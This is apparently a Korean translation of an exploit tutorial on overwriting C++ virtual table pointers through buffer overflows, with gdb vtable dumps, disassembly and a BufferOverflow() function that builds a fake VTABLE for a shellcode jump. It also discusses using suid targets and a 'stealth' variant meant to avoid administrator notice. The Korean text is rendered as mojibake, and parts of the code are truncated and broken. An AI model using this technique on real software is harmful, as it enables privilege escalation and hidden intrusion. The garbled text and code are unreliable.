"string2" (gdb) x/a 0x8049a98+32 0x8049ab8: 0x8048938 <_vt.8MyClass2> ¿ì¸®ÀÇ Å¬·¡½º °¢°¢ÀÇ VTABLEÀÇ ³»¿ë ¶ÇÇÑ »ìÆ캸¸é: (gdb) x/a 0x8048948 0x8048948 <_vt.8MyClass1>: 0x0 (gdb) x/a 0x8048948+4 0x804894c <_vt.8MyClass1+4>: 0x0 (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 (gdb) x/a 0x8048948+12 0x8048954 <_vt.8MyClass1+12>: 0x8048770 (gdb) x/a 0x8048938 0x8048938 <_vt.8MyClass2>: 0x0 (gdb) x/a 0x8048938+4 0x804893c <_vt.8MyClass2+4>: 0x0 (gdb) x/a 0x8048938+8 0x8048940 <_vt.8MyClass2+8>: 0x0 (gdb) x/a 0x8048938+12 0x8048944 <_vt.8MyClass2+12>: 0x8048730 À§¿¡¼­¿Í °°ÀÌ PrintBuffer() method°¡ ¿ì¸®°¡ ¸¸µç Ŭ·¡½ºÀÇ VTABLE¿¡¼­ 4¹ø° method·Î ÀÛ¿ëÇÑ´Ù. ±× ´ÙÀ½, dynamic binding(µ¿Àû °áÇÕ)À» À§ÇÑ ¸ÞÄ¿´ÏÁò¿¡ ´ëÇØ ºÐ¼®ÇØ º¸ÀÚ. °è¼ÓÇؼ­ ÇÁ·Î±×·¥À» ½ÇÇà½ÃÅ°¸é¼­ ·¹Áö½ºÅÍ¿Í »ç¿ëµÇ´Â ¸Þ¸ð¸®¿¡ ´ëÇØ ¼­ »ìÆ캸ÀÚ. ´ÙÀ½°ú °°Àº GDB ¸í·ÉÀ¸·Î main()ÇÔ¼ö¸¦ ÇÑÁÙ ÇÑÁÙ ½ÇÇàÇØ º¸ÀÚ. (gdb) ni Áö±Ý ¾Æ·¡¿Í °°Àº ¸í·ÉÀÌ ½ÇÇàµÉ °ÍÀÌ´Ù: 0x804860f : movl 0xfffffff8(%ebp),%eax ÀÌ ¸í·ÉÀº ù¹ø° EAX·Î ÇÏ¿©±Ý ù¹ø° °´Ã¼¸¦ °¡¸®Å°µµ·Ï ÇÑ´Ù. 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx À§ÀÇ ¸í·ÉµéÀº EBX ·¹Áö½ºÅ͸¦ MyClass1 Ŭ·¡½ºÀÇ VTABLEÀÇ 3¹ø° ÁÖ¼Ò¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ·Î ¸¸µå´Â °ÍÀÌ´Ù. 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx À§ÀÇ ¸í·ÉµéÀº VTABLE¾È¿¡¼­ ¿ÀÇÁ¼Â +8¿¡ ÀÖ´Â ¿öµå¸¦ EDX¿¡ ·Îµå½ÃŲ´Ù. 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx À§ÀÇ ¸í·ÉÀº ù¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ EDX ·¹Áö½ºÅÍ¿¡ ´õÇÏ°í, ±× °á°ú(This Æ÷ÀÎÅÍ)¸¦ ½ºÅÿ¡ Ǫ½¬ÇÑ´Ù. 0x8048621 : movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4) 0x8048624 : call *%edi // run the code at EDI À§ÀÇ ¸í·ÉÀº VTABLEÀÇ 4¹ø° ¾îµå·¹½º (VPTR+8+4)¿¡ MyClass1 Ŭ·¡½ºÀÇ PrintBuffer() methodÀÇ ¾îµå·¹½º¸¦ ³Ö´Â´Ù. ±×¸®°í ³ª¼­ ÀÌ method¸¦ ½ÇÇà(È£Ãâ)½ÃŲ´Ù. MyClass2 Ŭ·¡½ºÀÇ PrintBuffer() methodµµ ÀÌ¿Í °°Àº ¹æ½ÄÀ¸·Î »ç¿ëµÈ´Ù. ±×¸®°í ¸¶Áö¸·À¸·Î, main() ÇÔ¼öÀÇ ³¡¿¡ µµ´ÞÇÏ¿©, RET ¸í·ÉÀ» »ç¿ëÇÏ¿© ÇÁ·Î±×·¥À» Á¾·áÇÑ´Ù. À§¿¡¼­ º¸¸é ¸Þ¸ð¸®»ó¿¡¼­ °´Ã¼ÀÇ Ã³À½À» °¡¸®Å°±â À§ÇØ "strange handling"ÇÏ´Â °ÍÀ» º¼ ¼ö Àִµ¥, VPTR+8ÀÇ À§Ä¡¿¡ ÀÖ´Â ¿ÀÇÁ¼Â ¿öµå¸¦ ã¾Æ ù¹ø° °´Ã¼ÀÇ ¾îµå·¹½º¿Í ´õÇÏ¿´´Ù. ÀÌ·¯ÇÑ Á¶ÀÛÀº ¿ì¸®°¡ ¿¹·Î µé°í ÀÖ´Â ÇÁ·Î±×·¥¿¡¼­´Â ¾Æ¹«·± ¿ªÇÒÀ» ÇÏÁö ¾ÊÀ½À» VPTR+8ÀÌ °¡¸®Å°´Â °ÍÀ» º¼¶§ ¾Ë¼ö ÀÖ´Ù: (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 ±×·¯³ª, ÀÌ·¯ÇÑ Á¶ÀÛÀº ´Ù¸¥ º¹ÀâÇÑ °æ¿ìÀÇ ÇÁ·Î±×·¥¿¡ À־ ÇÊ¿äÇÏ´Ù. ¿ì¸®´Â ÀÌÈÄ¿¡ ¸î°¡Áö ¹®Á¦°¡ ÀϾ±â ¶§¹®¿¡, ÀÌ¿¡ ´ëÇؼ­ ±×¶§ °í·ÁÇϱâ·Î ÇÏ°Ú´Ù. ----| Exploiting VPTR ¾ÕÀ¸·Î ¿ì¸®´Â °£´ÜÇÑ ¹æ¹ýÀ¸·Î ¹öÆÛ¿À¹öÇ÷ο츦 ¾Ç¿ëÇغ¸µµ·Ï ÇÏ°Ú´Ù. ¿ì¼± ¿ì¸®´Â ¾Æ·¡¿Í °°Àº »çÇ׿¡ ´ëÇؼ­ ¾ð±ÞÇØ¾ß ÇÑ´Ù: - ¿ì¼± ¿ì¸®ÀÇ VTABLEÀ» ¸¸µé¾î¾ß ÇÑ´Ù. ±×¸®°í ÀÌ VTABLE¿¡´Â ¿ì¸®°¡ ½ÇÇà½Ãų ÄÚµåÀÇ ¾îµå·¹½º°¡ ÀÖ¾î¾ß ÇÑ´Ù. (¿ì¸®´Â ´ç¿¬È÷ shellcode¸¦ ½ÇÇà½Ãų °ÍÀÌ´Ù ;) - ±×¸®°í VPTRÀ» µ¤¾î½á¹ö¸±¶§, ±× ³»¿ëÀ» ¿ì¸®°¡ ¸¸µç VTABLEÀ» °¡¸®Å°µµ·Ï ÇØ¾ß ÇÒ °Í ÀÌ´Ù. À§ÀÇ ³»¿ëµéÀ» ±¸Ã¼ÀûÀ¸·Î ±¸ÇöÇغ¸¸é, ¿ì¸®°¡ µ¤¾î¾µ ¹öÆÛÀÇ ¾Õ¿¡ ¿ì¸®ÀÇ VTABLEÀ» ¸¸ µç´Ù. ±×¸®°í ³ª¼­, ¿ì¸®´Â VPTRÀÇ °ªÀ» ¿ì¸®ÀÇ ¹öÆÛ ¸Ç ¾Õ(¿ì¸®°¡ ¸¸µç VTABLE)À» °¡¸® Å°µµ·Ï ¼¼ÆÃÇØ¾ß ÇÑ´Ù. ±×¸®°í ¹öÆÛ¿¡¼­ VTABLEµÚ¿¡ ¹Ù·Î shellcode¸¦ ³Ö¾îµµ µÇ°í, VPTRµÚ¿¡ ³Ö¾îµµ µÈ´Ù. ÇÏÁö¸¸, ÈÄÀÚ¿Í °°Àº ¹æ¹ýÀ» ¾µ¶§¿¡´Â segmentation faults¸¦ ÀÏÀ¸Å°Áö ¾Ê´Â, ´Ù½Ã ¸»Çؼ­ ¿ì¸®°¡ accessÇÒ ¼ö ÀÖ´Â ¸Þ¸ð¸® ºÎºÐÀÎÁö¸¦ È®ÀÎÇؾ߸¸ ÇÑ´Ù. ¿©·¯ºÐµéµµ ÁüÀÛÇÏ°ÚÁö¸¸, À§¿Í °°Àº Á¶°ÇÀ» ¸¸Á·½ÃÅ°±â À§Çؼ­´Â Ä¿´Ù¶õ ¹öÆÛ°¡ ÇÊ¿äÇÔÀ» ´ëÃæ ´À³¥ °ÍÀÌ´Ù. ¹öÆÛ°¡ ÃæºÐÈ÷ Å©´Ù¸é, VTABLE°ú shellcodeµµ ¹®Á¦ ¾øÀÌ »ç¿ëÇÒ ¼ö ÀÖ°í , segmentation faults¿¡ ´ëÇÑ µÎ·Á¿òµµ »ç¶óÁ® ¹ö¸± °ÍÀÌ´Ù. ±×¸®°í °´Ã¼°¡ ¸Å¹ø (0x29, 0x49)ÀÇ 4bytes ¼ø¼­·Î µÚµû¸£°í, ¿ì¸®´Â VPTR µÚÀÇ ¹ÙÀÌÆ® (¹®ÀÚ¿­ÀÇ ¸Ç³¡)¿¡ 00h¸¦ ½á¾ß ÇÒ ÇÊ¿ä°¡ ¾ø´Ù´Â °ÍÀ» ¸í½ÉÇÏÀÚ. ½©Äڵ尡 VPTR¾Õ¿¡ Á¤È®È÷ ³õ¿© Àִ°¡ üũÇØ º¸ÀÚ. ¿ì¸®ÀÇ ¹öÆÛ¿¡ ´ÙÀ½°ú °°Àº ±¸Á¶¸¦ Àû¿ë½ÃÄÑ º¸ÀÚ. +------(1)---<----------------+ | | | ==+= SSSS ..... SSSS .... B ... CVVVV0 ==+= =+== | | | | +----(2)--+->-------------+ Where: V ´Â ¹öÆÛÀÇ ¸Ç óÀ½ ÁÖ¼Ò¸¦ ³ªÅ¸³¿. S ´Â ½©ÄÚµåÀÇ ÁÖ¼Ò¸¦ ³ªÅ¸³»´Âµ¥, ÀÌ ¿¹Á¦¿¡¼­´Â C ¾îµå·¹½º·Î ÇÔ.( ¿Ö³ÄÇÏ¸é ¿ì¸®´Â ¿©±â¼­ ½©Äڵ尡 VPTR¾Õ¿¡ Á¤È®È÷ ³õÀ̴°¡¸¦ º¸±âÀ§Çؼ­ÀÓ. ±×·¯¹Ç·Î ÀÌ °æ¿ì¿¡´Â address S=address V+offset VPTR in the buffer-1 ) B ´Â ¹ÙÀÌÆ®ÀÇ Å©±âÁ¶ÀýÀ» À§ÇÑ ¹ÙÀÌÆ®¸¦ ³ªÅ¸³¿. (¿¹¸¦ µé¸é, NOP(0x90)) C ´Â ½©ÄÚµå·Î¼­, ÀÌ ¿¹Á¦¿¡¼­´Â, SIGTRAP signal¸¦ ÀÏÀ¸Å°´Â CCh (INT 3)·Î »ç¿ëÇÔ. 0 ´Â 00h(NULL)·Î strcpy() ÇÔ¼ö »ç¿ë¶§¹®¿¡ ¹öÆÛÀÇ ³¡ÀÓÀ» ¾Ë¸®±â À§ÇØ »ç¿ëÇÔ. ¹öÆÛÀÇ °¡Àå óÀ½¿¡ ³õÀÌ´Â ¾îµå·¹½º(SSSS)´Â ¿À¹öÇ÷ΠÈÄ¿¡ È£ÃâµÇ´Â ù¹ø° ¸Þ½áµåÀÇ VTABLE¾ÈÀÇ index¸¦ ¾Ë¾Æµµ µÇ°í, ¸ô¶óµµ µÇ´Â °ÍÀÌ´Ù. ÀÌ index¸¦ ¾Ë°í ÀÖ´Ù¸é, Á¤È®ÇÑ Æ÷ÀÎÅ͸¦ »ç¿ëÇÏ¿© °¡¸®Å³ ¼ö ÀÖ´Ù. ±×·¸Áö¸¸, ¸ð¸¥´ÙÇÏ´õ¶óµµ Æ÷ÀÎÅÍÀÇ ¼ö¸¦ ÃÖ´ë·Î ¸¸µç´Ù¸é µ¤¾î ½á¹ö¸° ¿©·¯°³ÀÇ Æ÷ÀÎÅÍ Áß Çϳª¸¦ »ç¿ëÇÏ¿© ¸Þ½áµå¸¦ ½ÇÇàÇϵµ·Ï ÇÒ ¼ö ÀÖ´Ù. (¿ªÀÚ: Æ÷ÀÎÅÍÀÇ ¹°·®°ø¼¼) Âü°í·Î, ÇϳªÀÇ Å¬·¡½º¿¡´Â 200°³ÀÇ ¸Þ½áµå¸¦ Æ÷ÇÔÇÒ ¼ö ÀÖ´Ù. VVVV (VPTR)¿¡ ÀÖ´Â ¾îµå·¹½º´Â ÇÁ·Î±×·¥ÀÇ ½ÇÇàÈ帧°ú °ü·ÃÀÖ´Ù. ±×·¯¹Ç·Î Heap¿¡ ÇÒ´ç µÈ °´Ã¼ÀÇ ÁÖ¼Ò°¡ ¿©±â ¿Í¾ß ÇÑ´Ù. ±×¸®°í ÀÌ ÁÖ¼Ò¸¦ Á¤È®È÷ ¾Ë¾Æ³»±â¶õ ½±Áö ¾Ê´Ù. ÇϳªÀÇ ¹öÆÛ¸¦ ¸¸µå´Â ÀÛÀº ÇÔ¼ö¸¦ ¸¸µé¾î º¸ÀÚ. ÀÌ ÇÔ¼ö´Â 3°³ÀÇ ÆĶó¸ÞÅÍ(¸Å°³º¯¼ö)¸¦ ¹Þ´Â´Ù: - BufferAddress: ¿À¹öÇ÷ΠÇÒ ¹öÆÛÀÇ °¡Àå óÀ½ ÁÖ¼Ò. - NAddress: VTABLE¾È¿¡¼­ ¿ì¸®°¡ ½ÇÇàÇϱ⠿øÇÏ´Â ¾îµå·¹½ºÀÇ N¹ø°. ´ÙÀ½ÀÌ ¿ì¸®°¡ ¸¸µç BufferOverflow() ÇÔ¼ö ÄÚµåÀÌ´Ù: char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4+1); // buffer ÇÒ´ç. ¸¶Áö¸· 1¹ÙÀÌÆ®´Â null ½ºÆ®¸µÀ» À§ÇÑ °ø°£. CCOffset=(unsigned long)VPTROffset-1; // ¹öÆÛ¿¡¼­ ½ÇÇàÇÒ ÄÚµåÀÇ ¿ÀÇÁ¼ÂÀ» °è»ê. for (i=0;i #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4+1); CCOffset=(unsigned long)VPTROffset-1; for (i=0;iSetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } ÄÄÆÄÀÏÇÑ ÈÄ, GDB¸¦ ½ÇÇà½ÃŲ´Ù: rix@pentium:~/BO > gcc -o bo3 bo3.cpp rix@pentium:~/BO > gdb bo3 ... (gdb) disass main Dump of assembler code for function main: 0x8048670
: pushl %ebp 0x8048671 : movl %esp,%ebp 0x8048673 : subl $0x8,%esp 0x8048676 : pushl %edi 0x8048677 : pushl %esi 0x8048678 : pushl %ebx 0x8048679 : pushl $0x24 0x804867b : call 0x80488c0 <___builtin_new> 0x8048680 : addl $0x4,%esp 0x8048683 : movl %eax,%eax 0x8048685 : pushl %eax 0x8048686 : call 0x8048760 <__8MyClass1> 0x804868b : addl $0x4,%esp 0x804868e : movl %eax,%eax 0x8048690 : movl %eax,0xfffffff8(%ebp) 0x8048693 : pushl $0x24 0x8048695 : call 0x80488c0 <___builtin_new> 0x804869a : addl $0x4,%esp 0x804869d : movl %eax,%eax 0x804869f : pushl %eax 0x80486a0 : call 0x8048730 <__8MyClass2> 0x80486a5 : addl $0x4,%esp 0x80486a8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80486aa : movl %eax,0xfffffffc(%ebp) 0x80486ad : pushl $0x20 0x80486af : pushl $0x4 0x80486b1 : movl 0xfffffff8(%ebp),%eax 0x80486b4 : pushl %eax 0x80486b5 : call 0x80485b0 0x80486ba : addl $0xc,%esp 0x80486bd : movl %eax,%eax 0x80486bf : pushl %eax 0x80486c0 : movl 0xfffffff8(%ebp),%eax 0x80486c3 : pushl %eax 0x80486c4 : call 0x8048790 0x80486c9 : addl $0x8,%esp 0x80486cc : pushl $0x80489f6 0x80486d1 : movl 0xfffffffc(%ebp),%eax 0x80486d4 : pushl %eax 0x80486d5 : call 0x8048790 0x80486da : addl $0x8,%esp 0x80486dd : movl 0xfffffff8(%ebp),%eax 0x80486e0 : movl 0x20(%eax),%ebx 0x80486e3 : addl $0x8,%ebx 0x80486e6 : movswl (%ebx),%eax 0x80486e9 : movl %eax,%edx 0x80486eb : addl 0xfffffff8(%ebp),%edx ---Type to continue, or q to quit--- 0x80486ee : pushl %edx 0x80486ef : movl 0x4(%ebx),%edi 0x80486f2 : call *%edi 0x80486f4 : addl $0x4,%esp 0x80486f7 : movl 0xfffffffc(%ebp),%eax 0x80486fa : movl 0x20(%eax),%esi 0x80486fd : addl $0x8,%esi 0x8048700 : movswl (%esi),%eax 0x8048703 : movl %eax,%edx 0x8048705 : addl 0xfffffffc(%ebp),%edx 0x8048708 : pushl %edx 0x8048709 : movl 0x4(%esi),%edi 0x804870c : call *%edi 0x804870e : addl $0x4,%esp 0x8048711 : xorl %eax,%eax 0x8048713 : jmp 0x8048720 0x8048715 : leal 0x0(%esi,1),%esi 0x8048719 : leal 0x0(%edi,1),%edi 0x8048720 : leal 0xffffffec(%ebp),%esp 0x8048723 : popl %ebx 0x8048724 : popl %esi 0x8048725 : popl %edi 0x8048726 : movl %ebp,%esp 0x8048728 : popl %ebp ---Type to continue, or q to quit--- 0x8048729 : ret 0x804872a : leal 0x0(%esi),%esi End of assembler dump. À̹ø¿¡, ù¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ¾ò±â À§ÇØ, 0x8048690¿¡ breakpoint¸¦ ½É¾îµÎÀÚ. (gdb) break *0x8048690 Breakpoint 1 at 0x8048690 ±×¸®°í, ÀÌ ÇÁ·Î±×·¥À» ½ÇÇà½ÃÅ°¸é: (gdb) run Starting program: /home/rix/BO/bo3 Breakpoint 1, 0x8048690 in main () ù¹ø° °´Ã¼ÀÇ ÁÖ¼Ò¸¦ º¸·Á¸é: (gdb) info reg eax eax: 0x8049b38 134519608 Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x8049b58 in ?? () ¿ì¸®´Â À§¿¡¼­ 0x8049b58 ¾îµå·¹½º·ÎºÎÅÍ ½ÇÇàµÈ SIGTRAPÀ» Àß ¹Þ¾Ò´Ù. ÇÏÁö¸¸, °´Ã¼ÀÇ ÁÖ¼Ò´Â 0x8049b38À̾ú´Ù. °£´ÜÇÑ °è»êÀ» Çغ¸¸é ½±°Ô ÀÌÇØÇÒ ¼ö ÀÖ´Ù. 0x8049b58-1-0x8049b38=0x1F (=31)À̹ǷÎ, ¹öÆ۾ȿ¡ ½ÇÇà½ÃÅ°·Á°í Çß¾ú´ø CChÀÇ ¿ÀÇÁ¼Â°ú Á¤ È®È÷ µé¾î ¸Â¾Ò´Ù. ±× °á°ú·Î, ¿ì¸®°¡ ½ÇÇàÇÏ·Á°í Çß´ø CCh¸¦ ½ÇÇà½Ãų ¼ö ÀÖ¾ú´Ù!!! ÀÌÁ¦ ¿µ¸®ÇÑ ¿©·¯ºÐµéÀº À§¿¡¼­ »ç¿ëÇÑ CCh ÄÚµå´ë½Å, ÀÛÀº ½©Äڵ带 CChÀÇ ÀÚ¸®¿¡ ³õ´Â´Ù¸é, ±× ¸®°í bo3¶ó´Â ÇÁ·Î±×·¥ÀÌ suid¶ó¸é, ¾ÆÁÖ Àç¹ÌÀÖ´Â °á°ú°¡ ³ª¿À¸®¶ó´Â °ÍÀ» ÁüÀÛÇßÀ» °ÍÀÌ´Ù..;) Some variations about the method ================================ ¿ì¸®´Â À§¿¡¼­ °¡Àå °£´ÜÈ÷ ¾Ç¿ëÇÒ ¼ö ÀÖ´Â ¸ÞÄ¿´ÏÁòÀ» »ìÆì º¸¾Ò´Ù. ÇÏÁö¸¸, ¾ÆÁÖ º¹ÀâÇÑ °æ¿ìµµ ³ªÅ¸³¯ °¡´É¼ºÀÌ ÀÖÀ» °ÍÀÌ´Ù... ¿¹¸¦ µé¾î, ¾Æ·¡¿Í °°ÀÌ Å¬·¡½º°¡ Á¤ÀÇµÉ ¼öµµ ÀÖ´Ù: class MyClass3 { private: char Buffer3[32]; MyClass1 *PtrObjectClass; public: virtual void Function1() { ... PtrObjectClass1->PrintBuffer(); ... } }; À§ °æ¿ì´Â, µÎ°³ÀÇ Å¬·¡½º »çÀÌ¿¡ "link by reference"(ÂüÁ¶¿¡ ÀÇÇÑ ¸µÅ©)¶ó°í ºÒ·ÁÁö´Â °ü°è¸¦ °¡Áø´Ù. MyClass3 Ŭ·¡½º´Â ¶Ç´Ù¸¥ Ŭ·¡½º¸¦ °¡¸®Å°´Â Æ÷ÀÎÅ͸¦ °¡Áø´Ù. ¸¸¾à MyClass3 Ŭ·¡½º¾È¿¡¼­ ¹öÆÛ¸¦ ¿À¹öÇ÷νÃŲ´Ù¸é, PtrObjectClass Æ÷ÀÎÅ͸¦ µ¤¾î¾µ ¼ö ÀÖ´Ù. ¿ì¸®´Â ´ÜÁö Ãß°¡µÈ Æ÷ÀÎÅ͸¸ »ìÆ캸¸é µÈ´Ù ;) +----------------------------------------------------+ | | +-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR | =+== MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX ==+= | +---------------------<---------------------------+ | +--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY ==+= | +-------------------------------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ Where: B ´Â MyClass3ÀÇ ¹öÆÛ¸¦ ³ªÅ¸³»´Â ¹ÙÀÌÆ®¸¦ ³ªÅ¸³¿. C ´Â MyClass1ÀÇ ¹öÆÛ¸¦ ³ªÅ¸³»´Â ¹ÙÀÌÆ®¸¦ ³ªÅ¸³¿. P ´Â MyClass1 object Ŭ·¡½º¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ. X ´Â MyClass3 object Ŭ·¡½ºÀÇ VPTR. (Æ÷ÀÎÅ͸¦ Æ÷ÇÔÇϴ Ŭ·¡½º¿¡¼­´Â VPTRÀÌ ²À ÇÊ¿äÇÏÁö ¾Ê´Ù). Y ´Â MyClass1 object Ŭ·¡½ºÀÇ VPTR. ÀÌ Å×Å©´ÐÀº ÄÄÆÄÀÏ·¯¿¡ ³»ºÎ Ŭ·¡½ºÀÇ ±¸Á¶(VPTRÀÇ ¿ÀÇÁ¼Â)°¡ ¾Æ´Ï¶ó, ÇÁ·Î±×·¡¸Ó¿¡ ÀÇÇؼ­ Á¤ÀÇµÈ Å¬·¡½ºÀÇ ±¸Á¶¿¡ ÀÇÁ¸Çϸç, µû¶ó¼­ ÄÄÆÄÀÏ·¯¿¡ ÀÇÇؼ­ ¸Þ¸ð¸®»ó¿¡¼­ °´Ã¼ÀÇ ¾Õ¿¡ VPTR ÀÌ ³õÀÌ´Â(¿¹¸¦ µé¸é, Visual C++) ÇÁ·Î±×·¥¿¡¼­µµ ÀÌ Å×Å©´ÐÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ±×¸®°í, ÀÌ¿Í °°Àº °æ¿ì¿¡, MyClass3 object Ŭ·¡½º´Â ¾Æ¸¶µµ ½ºÅÃ(Áö¿ª º¯¼ö)¿¡ »ý¼ºµÉ °ÍÀÌ´Ù. ±×·¯¹Ç·Î °íÁ¤µÈ °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ¾òÀ» ¼ö Àֱ⠶§¹®¿¡, ¾î¶² ¹èÄ¡·Î ÀÌ·ç¾î Á³´ÂÁö ½±°Ô ¾Ë ¼ö ÀÖ´Ù. ±×·¸Áö¸¸, ÀÌ ¹æ¹ýÀº »ç¿ëÇÒ ½ºÅÃÀÌ ½ÇÇà°¡´ÉÇØ¾ß Çϸç, ½ºÅà ¾ÕºÎºÐÀÇ Èü¿µ¿ªÀÌ ¾Æ´Ï¾î¾ß ÇÑ´Ù. ¿ì¸®´Â À§¿¡¼­ »ìÆ캻 °Íó·³ ¿ì¸®°¡ »ç¿ëÇÑ BufferOverflow() ÇÔ¼öÀÇ µÎ¹ø°, ¼¼¹ø° ÆĶó¸ÞÅÍÀÇ ½ÇÁ¦°ª( VTABLE ÁÖ¼Ò°ª, VPTRÀÇ ¿ÀÇÁ¼Â )À» ã¾Æ³»´Â ¹æ¹ýÀ» ¾Ë°Ô µÇ¾ú´Ù. ½ÇÁ¦·Î ÀÌ µÎ°¡Áö ÆĶó¸ÞÅ͵éÀº ÇÁ·Î±×·¥ÀÇ Äڵ带 µð¹ö±ëÇغ½À¸·Î½á ½±°Ô ã¾Æ³¾ ¼ö ÀÖ´Ù. ¶ÇÇÑ ÀÌ °ªµéÀº ´Ù¸¥ ÇÁ·Î±×·¥¿¡¼­ ½ÇÇàÇÑ´Ù ÇÒÁö¶óµµ »ç¿ëÇÒ ¶§´Â °íÁ¤µÇ¾î ÀÖ´Â °ªÀÌ´Ù. ¹Ý¸é¿¡, ù¹ø° ÆĶó¸ÞÅÍ(¸Þ¸ð¸®»ó¿¡¼­ÀÇ °´Ã¼ÀÇ ÁÖ¼Ò)´Â À̸¦ Á¤È®ÇÏ°Ô Ã£¾Æ³»±â¶õ ½±Áö ¾ÊÁö¸¸, ¹öÆÛ¿¡ ¿ì¸®°¡ ¸¸µç VTABLEÀ» ³õ±â À§Çؼ­´Â ÀÌ ÁÖ¼Ò°¡ ²À ÇÊ¿äÇÏ´Ù. ----| A particular example ÀÌÁ¦ ¿ì¸®´Â °¡Àå ¸¶Áö¸· º¯¼ö°¡ ¹öÆÛ¸¦ ExploitÇÒ ¼ö Àִ Ŭ·¡½º°¡ ÀÖ´Ù°í °¡Á¤ÇØ º¸ÀÚ. ÀÌ°ÍÀº ¿¹¸¦ µé¾î, ±× Å©±â°¡ N bytesÀÏ °æ¿ì ÀÌ ¹öÆÛ¸¦ N+4 bytes¸¸Å­ °¡µæä¿ì´Â °ÍÀ» ÀÇ¹Ì ÇÑ´Ù. ±×¸®°í ÀÌ ÇÁ·Î¼¼½º¿¡¼­ »ç¿ëÇÏ´Â ¹öÆÛÀÇ °ø°£ ¹Û¿¡ ÀÖ´Â ¾î¶²°Íµµ º¯°æÇÒ ¼ö ¾øÀ¸¸ç, VPTR µÚ¿¡´Â 00h(NULL) ¹®ÀÚ°¡ ¿À±â ¶§¹®¿¡, ±× ¼ö°¡ N+4ÀÎ °ÍÀ̶ó´Â °ÍÀ» ´ëÃæ ¾Ë°í ÀÖÀ» °ÍÀÌ´Ù. ¾Æ¸¶µµ À§¿Í °°Àº »óȲÀÌ ÁÖ´Â ÀÌÁ¡ÀÌ ÀÖ´Ù. ±×·³ ¾î¶»°Ô À̸¦ ¾Ç¿ëÇÒ ¼ö ÀÖÀ»±î? ±× ¹æ¹ýÀº ¾Õ¿¡¼­ ¾ð±ÞµÇ¾ú´ø ¹Ù¿Í ¸¶Âù°¡Áö·Î ÀÌ ¹öÆÛ¸¦ »ç¿ëÇÏ¿©, ½©Äڵ带 ½ÇÇà½ÃÅ°°í ³ª¼­, ÇÁ·Î±×·¥ÀÌ ´ÙÀ½¹ø¿¡ ½ÇÇàÇØ¾ß ÇÏ´Â °ÍÀ» Á¤»óÀûÀ¸·Î ½ÇÇàÇϵµ·Ï ÇÏ´Â °ÍÀÌ´Ù! ÀÌ·¯ÇÑ ÀåÁ¡Àº ÇÁ·Î±×·¥À» ¹«½ÄÇÏ°Ô ³¡³»´Â ÀÏÀÌ ¾ø±â ¶§¹®¿¡ ¾ÆÁÖ ÀÜÀÎÇÑ °ÍÀ̸ç, µû¶ó¼­ °ü¸®ÀÚ³ª ´Ù¸¥ÀÌ°¡ ±×°ÍÀÇ ½ÇÇà¿¡ ´ëÇؼ­ ¿ì¿¬ÇÏ°Ô ¸ñ°ÝÇÏ¿© À̸¦ ÀúÁöÇÏ´Â Àϵµ ÀϾÁö ¾Ê°Ô ÇÑ´Ù. (¿ªÀÚÁÖ : ±×·³ ÀÌ°É Stealth OverFlow¶ó°í ºÒ·¯¾ß Çϳª?? °ü¸®ÀÚ µÚÅë¼ö ¶§¸®±â Àü¹ý ;-) ÀÌ°ÍÀÌ °¡´ÉÇÒ±î? ¿ì¼±, ½©Äڵ带 ¸ÕÀú ½ÇÇà½ÃÅ°°í ³­ ÈÄ, ¿ì¸®°¡ ¸¸µç(¿¹¸¦ µé¸é, À§¿¡¼­ ¸¸µé¾î º¸¾Ò´ø BufferOverflow method¿Í °°Àº) method¸¦ È£ÃâÇϱâ ÀÌÀü »óÅ·Π½ºÅÃÀ» º¹±¸½ÃÅ°±â À§Çؼ­ ¹öÆÛÀÇ ³»¿ëÀ» ´Ù½Ã ½á¾ß¸¸ ÇÑ´Ù. ±×¸®°í ³ª¼­, ´Ù½Ã ÃʱâÀÇ method·Î º¹±ÍÇÑ´Ù¸é, ÇÁ·Î±×·¥Àº Á¤»óÀûÀ¸·Î ½ÇÇàµÉ °ÍÀÌ´Ù. ´ÙÀ½Àº ¾ÕÀ¸·Î ¿ì¸®°¡ ÇØ°áÇØ¾ß ÇÒ ¸î°¡Áö ¹®Á¦µéÀÌ´Ù: - ½ÇÇàÀÇ È帧À» ÁߴܽÃÅ°Áö ¾Ê±â À§Çؼ­ ÀûÀýÇÑ °ªÀ¸·Î ¹öÆÛ¸¦ ¿ÏÀüÈ÷ ´Ù½Ã ½á¾ß ÇÏÁö¸¸, ¸¸ÀÏ ±×·¸°Ô ÇÑ´Ù¸é, ¿ì¸®ÀÇ »ç¶û½º·± ½©ÄÚµå´Â µ¤¾î¾²¿©Á® À翪ÇÒÀ» ÇÏÁö 